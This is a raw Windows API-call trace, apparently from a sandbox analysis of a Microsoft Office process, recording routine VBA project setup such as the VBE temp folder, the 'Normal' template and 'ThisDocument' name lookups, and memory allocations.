lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" [0018.382] strcpy_s (in: _Dst=0xa24bf00, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0018.382] strcpy_s (in: _Dst=0xa24bf00, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0018.382] _mkdir (_Path="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0 [0018.383] strcpy_s (in: _Dst=0xa24bf00, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0018.383] strcpy_s (in: _Dst=0xa24bf00, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0018.383] strcpy_s (in: _Dst=0xa24bf00, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0018.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa24bf00, cbMultiByte=-1, lpWideCharStr=0x307a60, cchWideChar=41 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 41 [0018.383] StringFromCLSID (in: rclsid=0xa24bebc*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a)), lplpsz=0x307d30 | out: lplpsz=0x307d30*="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 0x0 [0018.383] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x27) returned 0x781c2f0 [0018.383] IMalloc:Free (This=0x7fefe9e5380, pv=0x790bd40) [0018.383] lstrlenA (lpString="VBE") returned 3 [0018.383] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 38 [0018.383] wsprintfA (in: param_1=0xa10c750, param_2="%s;%s;&H%08lX" | out: param_1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0018.383] wsprintfA (in: param_1=0x307d58, param_2="&H%08lX" | out: param_1="&H00000001") returned 10 [0018.383] lstrcpynA (in: lpString1=0xa24bf20, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info" [0018.384] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0018.384] lstrcpyA (in: lpString1=0xa24c160, lpString2="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" | out: lpString1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" [0018.384] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c2f0) [0018.384] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x28) returned 0x781c2f0 [0018.384] GetCursorPos (in: lpPoint=0x307f80 | out: lpPoint=0x307f80*(x=959, y=696)) returned 1 [0018.384] GetCapture () returned 0x0 [0018.384] WindowFromPoint (Point=0x2b8000003bf) returned 0x10202 [0018.384] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0018.384] SendMessageA (hWnd=0x10202, Msg=0x84, wParam=0x0, lParam=0x2b803bf) returned 0x1 [0018.384] SendMessageA (hWnd=0x10202, Msg=0x20, wParam=0x10202, lParam=0x2000001) returned 0x1 [0018.384] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0018.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75c9478, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0018.384] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0018.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75c9478, cbMultiByte=9, lpWideCharStr=0x781fb98, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0018.384] IsCharAlphaA (ch=78) returned 1 [0018.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307f80, cbMultiByte=-1, lpWideCharStr=0xa249250, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0018.384] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0018.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307f80, cbMultiByte=-1, lpWideCharStr=0xa249250, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0018.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x307dd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0018.385] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0018.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307dc0, cbMultiByte=-1, lpWideCharStr=0x307d90, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0018.385] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0018.385] lstrlenA (lpString="Normal") returned 6 [0018.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307dc0, cbMultiByte=-1, lpWideCharStr=0x307d40, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0018.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x307c80, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0018.385] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0018.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x307c90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0018.385] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0018.385] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0018.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75c9478, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0018.385] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0018.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75c9478, cbMultiByte=9, lpWideCharStr=0x781fb98, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0018.385] lstrcmpA (lpString1="Project1", lpString2="Normal") returned 1 [0018.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x307c70, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0018.385] lstrcmpiA (lpString1="Project1", lpString2="Normal") returned 1 [0018.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0018.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x307b70, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0018.385] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0018.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7242a3e, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0018.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7242a3e, cbMultiByte=8, lpWideCharStr=0x75c9478, cchWideChar=8 | out: lpWideCharStr="Project1") returned 8 [0018.385] GetLocalTime (in: lpSystemTime=0x307a10 | out: lpSystemTime=0x307a10*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x2a7)) [0018.385] wcsncpy_s (in: _Destination=0x3076c0, _SizeInWords=0x108, _Source="*\\Z055bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.385] CharLowerBuffW (in: lpsz="*\\Z055bf1acda", cchLength=0xd | out: lpsz="*\\z055bf1acda") returned 0xd [0018.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z055bf1acda", cchWideChar=14, lpMultiByteStr=0x3075f0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z055bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.385] _wcsicmp (_String1="*\\Z055bf1acda", _String2="*\\Z055bf1acda") returned 0 [0018.385] GetLocalTime (in: lpSystemTime=0x307a10 | out: lpSystemTime=0x307a10*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x2a7)) [0018.385] wcsncpy_s (in: _Destination=0x3076c0, _SizeInWords=0x108, _Source="*\\Z055bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.385] CharLowerBuffW (in: lpsz="*\\Z055bf1acda", cchLength=0xd | out: lpsz="*\\z055bf1acda") returned 0xd [0018.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z055bf1acda", cchWideChar=14, lpMultiByteStr=0x3075f0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z055bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.385] _wcsicmp (_String1="*\\Z055bf1acda", _String2="*\\Z055bf1acda") returned 0 [0018.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x307a80, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0018.385] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0018.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x307a80, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0018.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x307940, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0018.385] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0018.386] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0018.386] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x30) returned 0x75ebe10 [0018.386] IMalloc:Free (This=0x7fefe9e5380, pv=0x790bce0) [0018.386] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c230 [0018.386] IMalloc:Free (This=0x7fefe9e5380, pv=0x75ebe10) [0018.386] wcsncpy_s (in: _Destination=0x307740, _SizeInWords=0x108, _Source="*\\Z055bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.386] CharLowerBuffW (in: lpsz="*\\Z055bf1acda", cchLength=0xd | out: lpsz="*\\z055bf1acda") returned 0xd [0018.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z055bf1acda", cchWideChar=14, lpMultiByteStr=0x307670, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z055bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.386] _wcsicmp (_String1="*\\Z055bf1acda", _String2="*\\Z055bf1acda") returned 0 [0018.386] strcpy_s (in: _Dst=0x7a20cd0, _DstSize=0x7, _Src="Normal" | out: _Dst="Normal") returned 0x0 [0018.386] SysStringByteLen (bstr="潎浲污") returned 0x6 [0018.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75c9478, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0018.386] SysStringByteLen (bstr="潎浲污") returned 0x6 [0018.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75c9478, cbMultiByte=7, lpWideCharStr=0x781c238, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0018.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x307ba0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0018.386] lstrlenA (lpString="Normal") returned 6 [0018.386] SysStringByteLen (bstr="潎浲污") returned 0x6 [0018.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75c9478, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0018.386] SysStringByteLen (bstr="潎浲污") returned 0x6 [0018.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75c9478, cbMultiByte=7, lpWideCharStr=0x781c238, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0018.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x307d80, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0018.386] lstrlenA (lpString="Normal") returned 6 [0018.387] lstrcmpiW (lpString1="Normal", lpString2="") returned 1 [0018.388] wcscpy_s (in: _Destination=0x307be6, _SizeInWords=0x105, _Source="Normal" | out: _Destination="Normal") returned 0x0 [0018.388] _wcsicmp (_String1="*\\CNormal", _String2="*\\Z055bf1acda") returned -23 [0018.388] IUnknown:AddRef (This=0x7919520) returned 0x4 [0018.388] IUnknown:QueryInterface (in: This=0x7919520, riid=0x7fef1056290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307648 | out: ppvObject=0x307648*=0x0) returned 0x80004002 [0018.388] IUnknown:Release (This=0x7919520) returned 0x3 [0018.388] IUnknown:AddRef (This=0x7346470) returned 0x5 [0018.388] IUnknown:QueryInterface (in: This=0x7346470, riid=0x7fef1056290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307648 | out: ppvObject=0x307648*=0x0) returned 0x80004002 [0018.388] IUnknown:Release (This=0x7346470) returned 0x4 [0018.388] IUnknown:AddRef (This=0x7345930) returned 0x6 [0018.388] IUnknown:QueryInterface (in: This=0x7345930, riid=0x7fef1056290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307648 | out: ppvObject=0x307648*=0x0) returned 0x80004002 [0018.388] IUnknown:Release (This=0x7345930) returned 0x5 [0018.389] wcsncpy_s (in: _Destination=0x307310, _SizeInWords=0x108, _Source="*\\Z055bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.389] CharLowerBuffW (in: lpsz="*\\Z055bf1acda", cchLength=0xd | out: lpsz="*\\z055bf1acda") returned 0xd [0018.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z055bf1acda", cchWideChar=14, lpMultiByteStr=0x307240, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z055bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.389] _wcsicmp (_String1="*\\Z055bf1acda", _String2="*\\Z055bf1acda") returned 0 [0018.389] wcsncpy_s (in: _Destination=0x307310, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0018.389] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0018.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x307240, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0018.389] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0018.390] wcscpy_s (in: _Destination=0x5342920, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0018.390] wcsncpy_s (in: _Destination=0x307310, _SizeInWords=0x108, _Source="*\\Z055bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.390] CharLowerBuffW (in: lpsz="*\\Z055bf1acda", cchLength=0xd | out: lpsz="*\\z055bf1acda") returned 0xd [0018.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z055bf1acda", cchWideChar=14, lpMultiByteStr=0x307240, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z055bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.390] _wcsicmp (_String1="*\\Z055bf1acda", _String2="*\\Z055bf1acda") returned 0 [0018.390] wcsncpy_s (in: _Destination=0x307350, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0018.390] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0018.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x307280, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0018.390] wcscpy_s (in: _Destination=0x794f940, _SizeInWords=0x108, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0018.391] _wfullpath (in: _Buffer=0x307b60, _Path="Normal", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\Normal") returned="C:\\Users\\aETAdzjz\\Desktop\\Normal" [0018.391] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\Normal", lpString2="") returned 1 [0018.391] SysStringByteLen (bstr="潎浲污") returned 0x6 [0018.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75c9478, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0018.391] SysStringByteLen (bstr="潎浲污") returned 0x6 [0018.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75c9478, cbMultiByte=7, lpWideCharStr=0x781c238, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0018.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x307c60, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0018.391] lstrlenA (lpString="Normal") returned 6 [0018.391] IsCharAlphaA (ch=84) returned 1 [0018.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307f10, cbMultiByte=-1, lpWideCharStr=0xa247b20, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0018.391] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307f10, cbMultiByte=-1, lpWideCharStr=0xa247b20, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0018.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x307d10, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0018.391] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.391] lstrlenA (lpString="ThisDocument") returned 12 [0018.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307f10, cbMultiByte=-1, lpWideCharStr=0x307d70, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0018.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x307990, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0018.392] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x307ad0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0018.392] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.392] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x795a310 [0018.392] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x795a310) returned 0x80 [0018.392] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a107e0 [0018.392] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a10720 [0018.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x307990, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0018.392] CoCreateGuid (in: pguid=0x3076c0 | out: pguid=0x3076c0*(Data1=0xab99afe2, Data2=0xe6fc, Data3=0x42e4, Data4=([0]=0x8d, [1]=0x99, [2]=0x5f, [3]=0x8a, [4]=0x3b, [5]=0xe9, [6]=0xa, [7]=0x95))) returned 0x0 [0018.392] CoCreateGuid (in: pguid=0x3076d0 | out: pguid=0x3076d0*(Data1=0x406e1b15, Data2=0xa169, Data3=0x4789, Data4=([0]=0xbc, [1]=0xbb, [2]=0x4e, [3]=0x4e, [4]=0x90, [5]=0xe4, [6]=0x6b, [7]=0x1c))) returned 0x0 [0018.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x3076e0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0018.392] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.392] GetLocalTime (in: lpSystemTime=0x3075b8 | out: lpSystemTime=0x3075b8*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x2b6)) [0018.392] _ultow_s (in: _Value=0x5bf1acda, _Buffer=0xbb7f944, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1acda") returned 0x0 [0018.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="065bf1acda", cchWideChar=11, lpMultiByteStr=0x307550, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="065bf1acda", lpUsedDefaultChar=0x0) returned 11 [0018.392] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x170) returned 0x7a080a0 [0018.392] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x50) returned 0x790bd40 [0018.392] strcpy_s (in: _Dst=0x7a20ce0, _DstSize=0xd, _Src="ThisDocument" | out: _Dst="ThisDocument") returned 0x0 [0018.392] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.392] wcscpy_s (in: _Destination=0xbb7f958, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0018.392] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.392] wcscpy_s (in: _Destination=0xbb7f978, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0018.392] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.392] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x30) returned 0x75ebe10 [0018.392] IMalloc:Free (This=0x7fefe9e5380, pv=0x790bce0) [0018.392] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c170 [0018.392] IMalloc:Free (This=0x7fefe9e5380, pv=0x75ebe10) [0018.392] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x3d0) returned 0xbb5f8a0 [0018.392] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c170 [0018.393] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7542740 [0018.393] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x795a3a0 [0018.393] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8050 [0018.393] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8040 [0018.393] wcsncpy_s (in: _Destination=0x307410, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0018.393] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0018.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x307340, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0018.393] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0018.393] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x688) returned 0xbb5fc80 [0018.393] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x795a430 [0018.393] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x640) returned 0xbb683b0 [0018.393] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c140 [0018.393] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8080 [0018.393] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f81b0 [0018.393] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781bff0 [0018.393] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x795a4c0 [0018.393] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0018.393] 